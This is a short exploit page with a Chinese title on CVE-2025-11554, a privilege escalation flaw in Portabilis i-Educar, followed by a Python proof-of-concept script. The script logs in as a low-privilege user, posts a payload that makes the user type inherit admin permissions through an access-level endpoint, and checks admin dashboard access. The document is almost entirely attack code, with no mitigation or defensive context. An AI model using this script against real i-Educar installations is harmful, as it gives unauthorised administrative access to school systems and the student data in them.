CVE-2025-11554 Portabilis i-Educar用户类型权限提升漏洞

# CVE-2025-11554 - Portabilis i-Educar Privilege Escalation PoC # Vulnerability: Insecure inherited permissions in AccessLevelController # Affected: Portabilis i-Educar <= 2.9.10 import requests TARGET_URL = "http://target-ieducar-server" USERNAME = "low_privilege_user" PASSWORD = "user_password" # Step 1: Authenticate as low-privilege user session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } session.post(f"{TARGET_URL}/login", data=login_data) # Step 2: Exploit insecure permission inheritance via AccessLevelController # Manipulate user type to inherit elevated permissions payload = { "user_type_id": "2", # Target user type ID "parent_type_id": "1", # Inherit from admin type (ID 1) "inherit_permissions": "true", "access_level": "admin" } # Send request to AccessLevelController endpoint response = session.post( f"{TARGET_URL}/access-level/update", json=payload ) if response.status_code == 200: print("[+] Permission escalation successful!") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") # Step 3: Verify elevated privileges admin_check = session.get(f"{TARGET_URL}/admin/dashboard") if admin_check.status_code == 200: print("[+] Admin access confirmed - privilege escalation successful!") else: print("[-] Admin access denied")